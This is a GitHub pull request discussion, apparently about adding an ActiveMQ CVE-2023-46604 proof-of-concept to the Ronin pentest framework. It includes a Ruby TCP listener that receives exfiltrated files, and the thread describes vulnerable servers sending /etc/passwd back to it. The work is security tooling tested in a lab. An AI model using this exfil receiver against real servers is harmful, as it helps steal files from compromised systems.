Closed flavorjones closed 3 months ago
@flavorjones also where did you get param :foo, type: Class, ...
from? I suspect there's some old documentation that still mentions the "old style" of defining params before I changed it to param :foo, Class, ...
, but I can't find where it still mentions type:
.
I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.
Thanks for the review! I'll address or reply to the review comments today.
Re: your other questions ...
I like the idea of a single file HTTP exfil payload, and think we should extract that into a Ronin::Payloads::Mixins::WebServer, Ronin::Payloads::Mixins::HTTPExfil, or Ronin::Exploits::Mixins::WebServer, Ronin::Exploits::Mixins::HTTPExfil module
Yeah, that makes sense and I'm happy to do that work as a separate commit in this PR if you're OK with it (else I can open a separate PR).
where did you get param :foo, type: Class, ... from? I suspect there's some old documentation ...
Honestly I have no idea. I had like ten web pages open (as well as an older version of Ronin on disk) trying to get a first draft working, and ended up with this syntax. Maybe I imagined it?
I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.
Yes! As long as I add host networking to the docker-compose.yml
file (so the AMQ server can connect back to the web server):
diff --git a/activemq/CVE-2023-46604/docker-compose.yml b/activemq/CVE-2023-46604/docker-compose.yml
index 1da45062..b907c6d8 100644
--- a/activemq/CVE-2023-46604/docker-compose.yml
+++ b/activemq/CVE-2023-46604/docker-compose.yml
@@ -6,3 +6,4 @@ services:
- "61616:61616"
- "8161:8161"
- "5005:5005"
+ network_mode: host
I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.
@flavorjones this is probably pretty ugly compared to your code, but I think I can simplify the curl
exfil web server using TCPServer
and really bad HTTP parsing logic.
require 'socket'
CRLF = "\r\n".b
HEADER_SEPARATOR = CRLF * 2
BAD_REQUEST = [
'HTTP/1.0 400 Bad Request',
'Content-Type: text/html',
'Connection: close',
''
].join(CRLF) + CRLF
OK = [
'HTTP/1.1 200 OK',
'Content-Type: text/html',
'Content-Length: 0',
'Connection: close',
''
].join(CRLF) + CRLF
host = '0.0.0.0'
port = ARGV[0].to_i
server = TCPServer.new(host,port)
loop do
connection = server.accept
request_line = connection.gets(CRLF)
request_method, path, http_version = request_line.split(' ',3)
unless path == '/exfil'
connection.write(BAD_REQUEST)
connection.close
next
end
headers = {}
until (line = connection.gets(CRLF, chomp: true)).empty?
name, value = line.split(': ',2)
headers[name] = value
end
content_length = if headers['Content-Length']
headers['Content-Length'].to_i
end
file = connection.read(content_length)
connection.write(OK)
connection.close
puts "[+] Received file:"
puts file
end
@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.
I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!
Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!
@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.
I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!
Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!
@flavorjones excellent! Ultimately I will probably add a Ronin::Exploits::Mixins::WebServer
which should handle most of the launch and cleanup code. Maybe something like:
def web_server
@web_server ||= Class.new(Ronin::Web::Server::Base).tap do |server|
server.set :exploit, self
end
yield @web_server
end
def perform_launch
@web_server.run!(background: true)
super
end
def perform_cleanup
super
@web_server.stop!
end
There's also some deep questions about whether the web server should be fully separate from the default Ronin::Web::Server
instance, or co-mingle with whatever other routes have been defined in the default instance.
Until then we can use your code just to have something that works. Once there is a Ronin::Exploits::Mixins::WebServer
module that handles the web server code (or a Ronin::Payloads
payload which handles curl
single-file exfilitrations), I'll come back and make the necessary edits and bump the ronin-exploits
dependency in the Gemfile
.
@flavorjones going to add the GPLv3.0+ license per #12. Hope that's OK with you?
Totally fine!
Feedback welcome, I'm not sure what's expected of a contributed POC.
As mentioned in the comments, I tested this against local docker containers. Vulnerable versions are correctly detected with
perform_test
. Vulnerable servers connect to the embedded web server for the injection and to exfiltrate/etc/passwd
as a demonstration.Closes #7